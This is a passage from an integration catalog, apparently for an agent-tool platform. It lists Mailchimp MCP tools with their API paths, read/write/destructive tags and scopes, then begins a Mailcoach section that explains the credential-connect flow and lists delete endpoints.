/reports/{campaign_id}/click-details/{link_id}/members/{subscriber_hash} GET /api/v1/mailchimp/reports/{campaign_id}/click-details/{link_id}/members/{subscriber_hash}. Scopes: api. mailchimp_get_reports_by_campaign_id_domain_performance (read) — List report domain performance via GET /reports/{campaign_id}/domain-performance GET /api/v1/mailchimp/reports/{campaign_id}/domain-performance. Scopes: api. mailchimp_get_reports_by_campaign_id_ecommerce_product_activity (read) — List report ecommerce product activity via GET /reports/{campaign_id}/ecommerce-product-activity GET /api/v1/mailchimp/reports/{campaign_id}/ecommerce-product-activity. Scopes: api. mailchimp_get_reports_by_campaign_id_eepurl (read) — List report EepURL activity via GET /reports/{campaign_id}/eepurl GET /api/v1/mailchimp/reports/{campaign_id}/eepurl. Scopes: api. mailchimp_get_reports_by_campaign_id_email_activity (read) — List report email activity via GET /reports/{campaign_id}/email-activity GET /api/v1/mailchimp/reports/{campaign_id}/email-activity. Scopes: api. mailchimp_get_reports_by_campaign_id_email_activity_by_subscriber_hash (read) — Get report email activity via GET /reports/{campaign_id}/email-activity/{subscriber_hash} GET /api/v1/mailchimp/reports/{campaign_id}/email-activity/{subscriber_hash}. Scopes: api. mailchimp_get_reports_by_campaign_id_locations (read) — List report locations via GET /reports/{campaign_id}/locations GET /api/v1/mailchimp/reports/{campaign_id}/locations. Scopes: api. mailchimp_get_reports_by_campaign_id_open_details (read) — List report open details via GET /reports/{campaign_id}/open-details GET /api/v1/mailchimp/reports/{campaign_id}/open-details. Scopes: api. mailchimp_get_reports_by_campaign_id_open_details_by_subscriber_hash (read) — Get report open detail via GET /reports/{campaign_id}/open-details/{subscriber_hash} GET /api/v1/mailchimp/reports/{campaign_id}/open-details/{subscriber_hash}. Scopes: api. mailchimp_get_reports_by_campaign_id_sent_to (read) — List report recipients via GET /reports/{campaign_id}/sent-to GET /api/v1/mailchimp/reports/{campaign_id}/sent-to. Scopes: api. mailchimp_get_reports_by_campaign_id_sent_to_by_subscriber_hash (read) — Get report sent to via GET /reports/{campaign_id}/sent-to/{subscriber_hash} GET /api/v1/mailchimp/reports/{campaign_id}/sent-to/{subscriber_hash}. Scopes: api. mailchimp_get_reports_by_campaign_id_sub_reports (read) — List report sub reports via GET /reports/{campaign_id}/sub-reports GET /api/v1/mailchimp/reports/{campaign_id}/sub-reports. Scopes: api. mailchimp_get_reports_by_campaign_id_unsubscribed (read) — List report unsubscribed via GET /reports/{campaign_id}/unsubscribed GET /api/v1/mailchimp/reports/{campaign_id}/unsubscribed. Scopes: api. mailchimp_get_reports_by_campaign_id_unsubscribed_by_subscriber_hash (read) — Get report unsubscribed via GET /reports/{campaign_id}/unsubscribed/{subscriber_hash} GET /api/v1/mailchimp/reports/{campaign_id}/unsubscribed/{subscriber_hash}. Scopes: api. mailchimp_get_search_campaigns (read) — Search campaigns via GET /search-campaigns GET /api/v1/mailchimp/search-campaigns. Scopes: api. mailchimp_get_search_members (read) — Search members via GET /search-members GET /api/v1/mailchimp/search-members. Scopes: api. mailchimp_get_sms_campaigns (read) — List SMS campaigns via GET /sms-campaigns GET /api/v1/mailchimp/sms-campaigns. Scopes: api. mailchimp_get_sms_campaigns_by_sms_campaign_id (read) — Get SMS campaign via GET /sms-campaigns/{sms_campaign_id} GET /api/v1/mailchimp/sms-campaigns/{sms_campaign_id}. Scopes: api. mailchimp_get_sms_campaigns_by_sms_campaign_id_content (read) — Get SMS campaign content via GET /sms-campaigns/{sms_campaign_id}/content GET /api/v1/mailchimp/sms-campaigns/{sms_campaign_id}/content. Scopes: api. mailchimp_get_template_folders (read) — List template folders via GET /template-folders GET /api/v1/mailchimp/template-folders. Scopes: api. mailchimp_get_template_folders_by_folder_id (read) — Get template folder via GET /template-folders/{folder_id} GET /api/v1/mailchimp/template-folders/{folder_id}. Scopes: api. mailchimp_get_templates (read) — List templates via GET /templates GET /api/v1/mailchimp/templates. Scopes: api. mailchimp_get_templates_by_template_id (read) — Get template via GET /templates/{template_id} GET /api/v1/mailchimp/templates/{template_id}. Scopes: api. mailchimp_get_templates_by_template_id_default_content (read) — Get template default content via GET /templates/{template_id}/default-content GET /api/v1/mailchimp/templates/{template_id}/default-content. Scopes: api. mailchimp_get_verified_domains (read) — List verified domains via GET /verified-domains GET /api/v1/mailchimp/verified-domains. Scopes: api. mailchimp_get_verified_domains_by_domain_name (read) — Get verified domain via GET /verified-domains/{domain_name} GET /api/v1/mailchimp/verified-domains/{domain_name}. Scopes: api. mailchimp_patch_audiences_by_audience_id_contacts_by_contact_id (write) — Update audience contact via PATCH /audiences/{audience_id}/contacts/{contact_id} PATCH /api/v1/mailchimp/audiences/{audience_id}/contacts/{contact_id}. Scopes: api. mailchimp_patch_automations_by_workflow_id_emails_by_workflow_email_id (write) — Update automation email via PATCH /automations/{workflow_id}/emails/{workflow_email_id} PATCH /api/v1/mailchimp/automations/{workflow_id}/emails/{workflow_email_id}. Scopes: api. mailchimp_patch_batch_webhooks_by_batch_webhook_id (write) — Update batch webhook via PATCH /batch-webhooks/{batch_webhook_id} PATCH /api/v1/mailchimp/batch-webhooks/{batch_webhook_id}. Scopes: api. mailchimp_patch_campaign_folders_by_folder_id (write) — Update campaign folder via PATCH /campaign-folders/{folder_id} PATCH /api/v1/mailchimp/campaign-folders/{folder_id}. Scopes: api. mailchimp_patch_campaigns_by_campaign_id (write) — Update campaign via PATCH /campaigns/{campaign_id} PATCH /api/v1/mailchimp/campaigns/{campaign_id}. Scopes: api. mailchimp_patch_campaigns_by_campaign_id_feedback_by_feedback_id (write) — Update campaign feedback via PATCH /campaigns/{campaign_id}/feedback/{feedback_id} PATCH /api/v1/mailchimp/campaigns/{campaign_id}/feedback/{feedback_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id (write) — Update ecommerce store via PATCH /ecommerce/stores/{store_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_carts_by_cart_id (write) — Update ecommerce store cart via PATCH /ecommerce/stores/{store_id}/carts/{cart_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/carts/{cart_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_carts_by_cart_id_lines_by_line_id (write) — Update ecommerce store cart line via PATCH /ecommerce/stores/{store_id}/carts/{cart_id}/lines/{line_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/carts/{cart_id}/lines/{line_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_customers_by_customer_id (write) — Update ecommerce store customer via PATCH /ecommerce/stores/{store_id}/customers/{customer_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/customers/{customer_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_orders_by_order_id (write) — Update ecommerce store order via PATCH /ecommerce/stores/{store_id}/orders/{order_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/orders/{order_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_orders_by_order_id_lines_by_line_id (write) — Update ecommerce store order line via PATCH /ecommerce/stores/{store_id}/orders/{order_id}/lines/{line_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/orders/{order_id}/lines/{line_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_products_by_product_id (write) — Update ecommerce store product via PATCH /ecommerce/stores/{store_id}/products/{product_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_products_by_product_id_images_by_image_id (write) — Update ecommerce store product image via PATCH /ecommerce/stores/{store_id}/products/{product_id}/images/{image_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/images/{image_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_products_by_product_id_variants_by_variant_id (write) — Update ecommerce store product variant via PATCH /ecommerce/stores/{store_id}/products/{product_id}/variants/{variant_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/variants/{variant_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_promo_rules_by_promo_rule_id (write) — Update ecommerce store promo rule via PATCH /ecommerce/stores/{store_id}/promo-rules/{promo_rule_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}. Scopes: api. mailchimp_patch_ecommerce_stores_by_store_id_promo_rules_by_promo_rule_id_promo_codes_by_promo_code_id (write) — Update ecommerce store promo rule promo code via PATCH /ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes/{promo_code_id} PATCH /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes/{promo_code_id}. Scopes: api. mailchimp_patch_file_manager_files_by_file_id (write) — Update file manager file via PATCH /file-manager/files/{file_id} PATCH /api/v1/mailchimp/file-manager/files/{file_id}. Scopes: api. mailchimp_patch_file_manager_folders_by_folder_id (write) — Update file manager folder via PATCH /file-manager/folders/{folder_id} PATCH /api/v1/mailchimp/file-manager/folders/{folder_id}. Scopes: api. mailchimp_patch_landing_pages_by_page_id (write) — Update landing page via PATCH /landing-pages/{page_id} PATCH /api/v1/mailchimp/landing-pages/{page_id}. Scopes: api. mailchimp_patch_lists_by_list_id (write) — Update list via PATCH /lists/{list_id} PATCH /api/v1/mailchimp/lists/{list_id}. Scopes: api. mailchimp_patch_lists_by_list_id_interest_categories_by_interest_category_id (write) — Update list interest category via PATCH /lists/{list_id}/interest-categories/{interest_category_id} PATCH /api/v1/mailchimp/lists/{list_id}/interest-categories/{interest_category_id}. Scopes: api. mailchimp_patch_lists_by_list_id_interest_categories_by_interest_category_id_interests_by_interest_id (write) — Update list interest category interest via PATCH /lists/{list_id}/interest-categories/{interest_category_id}/interests/{interest_id} PATCH /api/v1/mailchimp/lists/{list_id}/interest-categories/{interest_category_id}/interests/{interest_id}. Scopes: api. mailchimp_patch_lists_by_list_id_members_by_subscriber_hash (write) — Update list member via PATCH /lists/{list_id}/members/{subscriber_hash} PATCH /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}. Scopes: api. mailchimp_patch_lists_by_list_id_members_by_subscriber_hash_notes_by_note_id (write) — Update list member note via PATCH /lists/{list_id}/members/{subscriber_hash}/notes/{note_id} PATCH /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/notes/{note_id}. Scopes: api. mailchimp_patch_lists_by_list_id_merge_fields_by_merge_id (write) — Update list merge field via PATCH /lists/{list_id}/merge-fields/{merge_id} PATCH /api/v1/mailchimp/lists/{list_id}/merge-fields/{merge_id}. Scopes: api. mailchimp_patch_lists_by_list_id_segments_by_segment_id (write) — Update list segment via PATCH /lists/{list_id}/segments/{segment_id} PATCH /api/v1/mailchimp/lists/{list_id}/segments/{segment_id}. Scopes: api. mailchimp_patch_lists_by_list_id_surveys_by_survey_id (write) — Update list survey via PATCH /lists/{list_id}/surveys/{survey_id} PATCH /api/v1/mailchimp/lists/{list_id}/surveys/{survey_id}. Scopes: api. mailchimp_patch_lists_by_list_id_webhooks_by_webhook_id (write) — Update list webhook via PATCH /lists/{list_id}/webhooks/{webhook_id} PATCH /api/v1/mailchimp/lists/{list_id}/webhooks/{webhook_id}. Scopes: api. mailchimp_patch_sms_campaigns_by_sms_campaign_id (write) — Update SMS campaign via PATCH /sms-campaigns/{sms_campaign_id} PATCH /api/v1/mailchimp/sms-campaigns/{sms_campaign_id}. Scopes: api. mailchimp_patch_template_folders_by_folder_id (write) — Update template folder via PATCH /template-folders/{folder_id} PATCH /api/v1/mailchimp/template-folders/{folder_id}. Scopes: api. mailchimp_patch_templates_by_template_id (write) — Update template via PATCH /templates/{template_id} PATCH /api/v1/mailchimp/templates/{template_id}. Scopes: api. mailchimp_post_account_exports (write) — Create account export via POST /account-exports POST /api/v1/mailchimp/account-exports. Scopes: api. mailchimp_post_audiences_by_audience_id_contacts (write) — Create audience contact via POST /audiences/{audience_id}/contacts POST /api/v1/mailchimp/audiences/{audience_id}/contacts. Scopes: api. mailchimp_post_audiences_by_audience_id_contacts_by_contact_id_actions_archive (write) — Audience contact: archive via POST /audiences/{audience_id}/contacts/{contact_id}/actions/archive POST /api/v1/mailchimp/audiences/{audience_id}/contacts/{contact_id}/actions/archive. Scopes: api. mailchimp_post_audiences_by_audience_id_contacts_by_contact_id_actions_forget (write, destructive) — Audience contact: forget via POST /audiences/{audience_id}/contacts/{contact_id}/actions/forget POST /api/v1/mailchimp/audiences/{audience_id}/contacts/{contact_id}/actions/forget. Scopes: api. mailchimp_post_automations (write) — Create automation via POST /automations POST /api/v1/mailchimp/automations. Scopes: api. mailchimp_post_automations_by_workflow_id_actions_archive (write) — Automation: archive via POST /automations/{workflow_id}/actions/archive POST /api/v1/mailchimp/automations/{workflow_id}/actions/archive. Scopes: api. mailchimp_post_automations_by_workflow_id_actions_pause_all_emails (write) — Automation: pause all emails via POST /automations/{workflow_id}/actions/pause-all-emails POST /api/v1/mailchimp/automations/{workflow_id}/actions/pause-all-emails. Scopes: api. mailchimp_post_automations_by_workflow_id_actions_start_all_emails (write) — Automation: start all emails via POST /automations/{workflow_id}/actions/start-all-emails POST /api/v1/mailchimp/automations/{workflow_id}/actions/start-all-emails. Scopes: api. mailchimp_post_automations_by_workflow_id_emails_by_workflow_email_id_actions_pause (write) — Automation email: pause via POST /automations/{workflow_id}/emails/{workflow_email_id}/actions/pause POST /api/v1/mailchimp/automations/{workflow_id}/emails/{workflow_email_id}/actions/pause. Scopes: api. mailchimp_post_automations_by_workflow_id_emails_by_workflow_email_id_actions_start (write) — Automation email: start via POST /automations/{workflow_id}/emails/{workflow_email_id}/actions/start POST /api/v1/mailchimp/automations/{workflow_id}/emails/{workflow_email_id}/actions/start. Scopes: api. mailchimp_post_automations_by_workflow_id_emails_by_workflow_email_id_queue (write) — Create automation email queue via POST /automations/{workflow_id}/emails/{workflow_email_id}/queue POST /api/v1/mailchimp/automations/{workflow_id}/emails/{workflow_email_id}/queue. Scopes: api. mailchimp_post_automations_by_workflow_id_removed_subscribers (write) — Remove subscriber from automation via POST /automations/{workflow_id}/removed-subscribers POST /api/v1/mailchimp/automations/{workflow_id}/removed-subscribers. Scopes: api. mailchimp_post_batch_webhooks (write) — Create batch webhook via POST /batch-webhooks POST /api/v1/mailchimp/batch-webhooks. Scopes: api. mailchimp_post_batches (write) — Start batch operation via POST /batches POST /api/v1/mailchimp/batches. Scopes: api. mailchimp_post_campaign_folders (write) — Create campaign folder via POST /campaign-folders POST /api/v1/mailchimp/campaign-folders. Scopes: api. mailchimp_post_campaigns (write) — Create campaign via POST /campaigns POST /api/v1/mailchimp/campaigns. Scopes: api. mailchimp_post_campaigns_by_campaign_id_actions_cancel_send (write) — Campaign: cancel send via POST /campaigns/{campaign_id}/actions/cancel-send POST /api/v1/mailchimp/campaigns/{campaign_id}/actions/cancel-send. Scopes: api. mailchimp_post_campaigns_by_campaign_id_actions_create_resend (write) — Campaign: create resend via POST /campaigns/{campaign_id}/actions/create-resend POST /api/v1/mailchimp/campaigns/{campaign_id}/actions/create-resend. Scopes: api. mailchimp_post_campaigns_by_campaign_id_actions_pause (write) — Campaign: pause via POST /campaigns/{campaign_id}/actions/pause POST /api/v1/mailchimp/campaigns/{campaign_id}/actions/pause. Scopes: api. mailchimp_post_campaigns_by_campaign_id_actions_replicate (write) — Campaign: replicate via POST /campaigns/{campaign_id}/actions/replicate POST /api/v1/mailchimp/campaigns/{campaign_id}/actions/replicate. Scopes: api. mailchimp_post_campaigns_by_campaign_id_actions_resume (write) — Campaign: resume via POST /campaigns/{campaign_id}/actions/resume POST /api/v1/mailchimp/campaigns/{campaign_id}/actions/resume. Scopes: api. mailchimp_post_campaigns_by_campaign_id_actions_schedule (write) — Campaign: schedule via POST /campaigns/{campaign_id}/actions/schedule POST /api/v1/mailchimp/campaigns/{campaign_id}/actions/schedule. Scopes: api. mailchimp_post_campaigns_by_campaign_id_actions_send (write) — Campaign: send via POST /campaigns/{campaign_id}/actions/send POST /api/v1/mailchimp/campaigns/{campaign_id}/actions/send. Scopes: api. mailchimp_post_campaigns_by_campaign_id_actions_test (write) — Campaign: send a test email via POST /campaigns/{campaign_id}/actions/test POST /api/v1/mailchimp/campaigns/{campaign_id}/actions/test. Scopes: api. mailchimp_post_campaigns_by_campaign_id_actions_unschedule (write) — Campaign: unschedule via POST /campaigns/{campaign_id}/actions/unschedule POST /api/v1/mailchimp/campaigns/{campaign_id}/actions/unschedule. Scopes: api. mailchimp_post_campaigns_by_campaign_id_feedback (write) — Create campaign feedback via POST /campaigns/{campaign_id}/feedback POST /api/v1/mailchimp/campaigns/{campaign_id}/feedback. Scopes: api. mailchimp_post_connected_sites (write) — Create connected site via POST /connected-sites POST /api/v1/mailchimp/connected-sites. Scopes: api. mailchimp_post_connected_sites_by_connected_site_id_actions_disable_pixel (write) — Connected site: disable pixel via POST /connected-sites/{connected_site_id}/actions/disable-pixel POST /api/v1/mailchimp/connected-sites/{connected_site_id}/actions/disable-pixel. Scopes: api. mailchimp_post_connected_sites_by_connected_site_id_actions_enable_pixel (write) — Connected site: enable pixel via POST /connected-sites/{connected_site_id}/actions/enable-pixel POST /api/v1/mailchimp/connected-sites/{connected_site_id}/actions/enable-pixel. Scopes: api. mailchimp_post_connected_sites_by_connected_site_id_actions_verify_script_installation (write) — Connected site: verify script installation via POST /connected-sites/{connected_site_id}/actions/verify-script-installation POST /api/v1/mailchimp/connected-sites/{connected_site_id}/actions/verify-script-installation. Scopes: api. mailchimp_post_customer_journeys_journeys_by_journey_id_steps_by_step_id_actions_trigger (write) — Customer journey step: trigger via POST /customer-journeys/journeys/{journey_id}/steps/{step_id}/actions/trigger POST /api/v1/mailchimp/customer-journeys/journeys/{journey_id}/steps/{step_id}/actions/trigger. Scopes: api. mailchimp_post_ecommerce_stores (write) — Create ecommerce store via POST /ecommerce/stores POST /api/v1/mailchimp/ecommerce/stores. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_carts (write) — Create ecommerce store cart via POST /ecommerce/stores/{store_id}/carts POST /api/v1/mailchimp/ecommerce/stores/{store_id}/carts. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_carts_by_cart_id_lines (write) — Create ecommerce store cart line via POST /ecommerce/stores/{store_id}/carts/{cart_id}/lines POST /api/v1/mailchimp/ecommerce/stores/{store_id}/carts/{cart_id}/lines. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_customers (write) — Create ecommerce store customer via POST /ecommerce/stores/{store_id}/customers POST /api/v1/mailchimp/ecommerce/stores/{store_id}/customers. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_orders (write) — Create ecommerce store order via POST /ecommerce/stores/{store_id}/orders POST /api/v1/mailchimp/ecommerce/stores/{store_id}/orders. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_orders_by_order_id_lines (write) — Create ecommerce store order line via POST /ecommerce/stores/{store_id}/orders/{order_id}/lines POST /api/v1/mailchimp/ecommerce/stores/{store_id}/orders/{order_id}/lines. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_products (write) — Create ecommerce store product via POST /ecommerce/stores/{store_id}/products POST /api/v1/mailchimp/ecommerce/stores/{store_id}/products. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_products_by_product_id_images (write) — Create ecommerce store product image via POST /ecommerce/stores/{store_id}/products/{product_id}/images POST /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/images. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_products_by_product_id_variants (write) — Create ecommerce store product variant via POST /ecommerce/stores/{store_id}/products/{product_id}/variants POST /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/variants. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_promo_rules (write) — Create ecommerce store promo rule via POST /ecommerce/stores/{store_id}/promo-rules POST /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules. Scopes: api. mailchimp_post_ecommerce_stores_by_store_id_promo_rules_by_promo_rule_id_promo_codes (write) — Create ecommerce store promo rule promo code via POST /ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes POST /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes. Scopes: api. mailchimp_post_file_manager_files (write) — Create file manager file via POST /file-manager/files POST /api/v1/mailchimp/file-manager/files. Scopes: api. mailchimp_post_file_manager_folders (write) — Create file manager folder via POST /file-manager/folders POST /api/v1/mailchimp/file-manager/folders. Scopes: api. mailchimp_post_landing_pages (write) — Create landing page via POST /landing-pages POST /api/v1/mailchimp/landing-pages. Scopes: api. mailchimp_post_landing_pages_by_page_id_actions_publish (write) — Landing page: publish via POST /landing-pages/{page_id}/actions/publish POST /api/v1/mailchimp/landing-pages/{page_id}/actions/publish. Scopes: api. mailchimp_post_landing_pages_by_page_id_actions_unpublish (write) — Landing page: unpublish via POST /landing-pages/{page_id}/actions/unpublish POST /api/v1/mailchimp/landing-pages/{page_id}/actions/unpublish. Scopes: api. mailchimp_post_lists (write) — Create list via POST /lists POST /api/v1/mailchimp/lists. Scopes: api. mailchimp_post_lists_by_list_id (write) — Batch subscribe or unsubscribe list members via POST /lists/{list_id} POST /api/v1/mailchimp/lists/{list_id}. Scopes: api. mailchimp_post_lists_by_list_id_interest_categories (write) — Create list interest category via POST /lists/{list_id}/interest-categories POST /api/v1/mailchimp/lists/{list_id}/interest-categories. Scopes: api. mailchimp_post_lists_by_list_id_interest_categories_by_interest_category_id_interests (write) — Create list interest category interest via POST /lists/{list_id}/interest-categories/{interest_category_id}/interests POST /api/v1/mailchimp/lists/{list_id}/interest-categories/{interest_category_id}/interests. Scopes: api. mailchimp_post_lists_by_list_id_members (write) — Create list member via POST /lists/{list_id}/members POST /api/v1/mailchimp/lists/{list_id}/members. Scopes: api. mailchimp_post_lists_by_list_id_members_by_subscriber_hash_actions_delete_permanent (write, destructive) — Permanently delete list member via POST /lists/{list_id}/members/{subscriber_hash}/actions/delete-permanent POST /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/actions/delete-permanent. Scopes: api. mailchimp_post_lists_by_list_id_members_by_subscriber_hash_events (write) — Create list member event via POST /lists/{list_id}/members/{subscriber_hash}/events POST /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/events. Scopes: api. mailchimp_post_lists_by_list_id_members_by_subscriber_hash_notes (write) — Create list member note via POST /lists/{list_id}/members/{subscriber_hash}/notes POST /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/notes. Scopes: api. mailchimp_post_lists_by_list_id_members_by_subscriber_hash_tags (write) — Add or remove list member tags via POST /lists/{list_id}/members/{subscriber_hash}/tags POST /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/tags. Scopes: api. mailchimp_post_lists_by_list_id_merge_fields (write) — Create list merge field via POST /lists/{list_id}/merge-fields POST /api/v1/mailchimp/lists/{list_id}/merge-fields. Scopes: api. mailchimp_post_lists_by_list_id_segments (write) — Create list segment via POST /lists/{list_id}/segments POST /api/v1/mailchimp/lists/{list_id}/segments. Scopes: api. mailchimp_post_lists_by_list_id_segments_by_segment_id (write) — Batch add or remove list segment members via POST /lists/{list_id}/segments/{segment_id} POST /api/v1/mailchimp/lists/{list_id}/segments/{segment_id}. Scopes: api. mailchimp_post_lists_by_list_id_segments_by_segment_id_members (write) — Create list segment member via POST /lists/{list_id}/segments/{segment_id}/members POST /api/v1/mailchimp/lists/{list_id}/segments/{segment_id}/members. Scopes: api. mailchimp_post_lists_by_list_id_signup_forms (write) — Create list signup form via POST /lists/{list_id}/signup-forms POST /api/v1/mailchimp/lists/{list_id}/signup-forms. Scopes: api. mailchimp_post_lists_by_list_id_surveys (write) — Create list survey via POST /lists/{list_id}/surveys POST /api/v1/mailchimp/lists/{list_id}/surveys. Scopes: api. mailchimp_post_lists_by_list_id_surveys_by_survey_id_actions_create_email (write) — List survey: create email via POST /lists/{list_id}/surveys/{survey_id}/actions/create-email POST /api/v1/mailchimp/lists/{list_id}/surveys/{survey_id}/actions/create-email. Scopes: api. mailchimp_post_lists_by_list_id_surveys_by_survey_id_actions_publish (write) — List survey: publish via POST /lists/{list_id}/surveys/{survey_id}/actions/publish POST /api/v1/mailchimp/lists/{list_id}/surveys/{survey_id}/actions/publish. Scopes: api. mailchimp_post_lists_by_list_id_surveys_by_survey_id_actions_replicate (write) — List survey: replicate via POST /lists/{list_id}/surveys/{survey_id}/actions/replicate POST /api/v1/mailchimp/lists/{list_id}/surveys/{survey_id}/actions/replicate. Scopes: api. mailchimp_post_lists_by_list_id_surveys_by_survey_id_actions_unpublish (write) — List survey: unpublish via POST /lists/{list_id}/surveys/{survey_id}/actions/unpublish POST /api/v1/mailchimp/lists/{list_id}/surveys/{survey_id}/actions/unpublish. Scopes: api. mailchimp_post_lists_by_list_id_webhooks (write) — Create list webhook via POST /lists/{list_id}/webhooks POST /api/v1/mailchimp/lists/{list_id}/webhooks. Scopes: api. mailchimp_post_sms_campaigns (write) — Create SMS campaign via POST /sms-campaigns POST /api/v1/mailchimp/sms-campaigns. Scopes: api. mailchimp_post_sms_campaigns_by_sms_campaign_id_actions_cancel_send (write) — SMS campaign: cancel send via POST /sms-campaigns/{sms_campaign_id}/actions/cancel-send POST /api/v1/mailchimp/sms-campaigns/{sms_campaign_id}/actions/cancel-send. Scopes: api. mailchimp_post_sms_campaigns_by_sms_campaign_id_actions_schedule (write) — SMS campaign: schedule via POST /sms-campaigns/{sms_campaign_id}/actions/schedule POST /api/v1/mailchimp/sms-campaigns/{sms_campaign_id}/actions/schedule. Scopes: api. mailchimp_post_sms_campaigns_by_sms_campaign_id_actions_send (write) — SMS campaign: send via POST /sms-campaigns/{sms_campaign_id}/actions/send POST /api/v1/mailchimp/sms-campaigns/{sms_campaign_id}/actions/send. Scopes: api. mailchimp_post_template_folders (write) — Create template folder via POST /template-folders POST /api/v1/mailchimp/template-folders. Scopes: api. mailchimp_post_templates (write) — Create template via POST /templates POST /api/v1/mailchimp/templates. Scopes: api. mailchimp_post_verified_domains (write) — Create verified domain via POST /verified-domains POST /api/v1/mailchimp/verified-domains. Scopes: api. mailchimp_post_verified_domains_by_domain_name_actions_verify (write) — Verified domain: verify via POST /verified-domains/{domain_name}/actions/verify POST /api/v1/mailchimp/verified-domains/{domain_name}/actions/verify. Scopes: api. mailchimp_put_campaigns_by_campaign_id_content (write) — Update campaign content via PUT /campaigns/{campaign_id}/content PUT /api/v1/mailchimp/campaigns/{campaign_id}/content. Scopes: api. mailchimp_put_ecommerce_stores_by_store_id_customers_by_customer_id (write) — Add or update ecommerce store customer via PUT /ecommerce/stores/{store_id}/customers/{customer_id} PUT /api/v1/mailchimp/ecommerce/stores/{store_id}/customers/{customer_id}. Scopes: api. mailchimp_put_ecommerce_stores_by_store_id_orders_by_order_id (write) — Add or update ecommerce store order via PUT /ecommerce/stores/{store_id}/orders/{order_id} PUT /api/v1/mailchimp/ecommerce/stores/{store_id}/orders/{order_id}. Scopes: api. mailchimp_put_ecommerce_stores_by_store_id_products_by_product_id (write) — Add or update ecommerce store product via PUT /ecommerce/stores/{store_id}/products/{product_id} PUT /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}. Scopes: api. mailchimp_put_ecommerce_stores_by_store_id_products_by_product_id_variants_by_variant_id (write) — Add or update ecommerce store product variant via PUT /ecommerce/stores/{store_id}/products/{product_id}/variants/{variant_id} PUT /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/variants/{variant_id}. Scopes: api. mailchimp_put_lists_by_list_id_members_by_subscriber_hash (write) — Add or update list member via PUT /lists/{list_id}/members/{subscriber_hash} PUT /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}. Scopes: api. mailchimp_put_sms_campaigns_by_sms_campaign_id_content (write) — Update SMS campaign content via PUT /sms-campaigns/{sms_campaign_id}/content PUT /api/v1/mailchimp/sms-campaigns/{sms_campaign_id}/content. Scopes: api. ================================================================================ ## Mailcoach URL: https://www.agenticfabriq.com/integrations/mailcoach Section: Integrated Tools Mailcoach — 75 MCP tools Provider key: mailcoach. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mailcoach_delete_automation_mails_by_automationmail (write, destructive) — Delete an automation mail DELETE /api/v1/mailcoach/automation-mails/{automationMail}. Scopes: api. mailcoach_delete_campaigns_by_campaign (write, destructive) — Delete a campaign DELETE /api/v1/mailcoach/campaigns/{campaign}. Scopes: api. mailcoach_delete_email_lists_by_emaillist (write, destructive) — Delete a list DELETE /api/v1/mailcoach/email-lists/{emailList}. Scopes: api. mailcoach_delete_email_lists_by_emaillist_segments_by_segment (write, destructive) — Delete a segment DELETE /api/v1/mailcoach/email-lists/{emailList}/segments/{segment}. Scopes: api. mailcoach_delete_email_lists_by_emaillist_tags_by_tag (write, destructive) — Delete a tag DELETE /api/v1/mailcoach/email-lists/{emailList}/tags/{tag}. Scopes: api. mailcoach_delete_sends_by_send (write, destructive) — Delete a send DELETE /api/v1/mailcoach/sends/{send}. Scopes: api. mailcoach_delete_subscriber_imports_by_subscriberimport (write, destructive) — Delete a subscriber import DELETE /api/v1/mailcoach/subscriber-imports/{subscriberImport}. Scopes: api. mailcoach_delete_subscribers_by_subscriber (write, destructive) — Delete a subscriber DELETE /api/v1/mailcoach/subscribers/{subscriber}. Scopes: api. 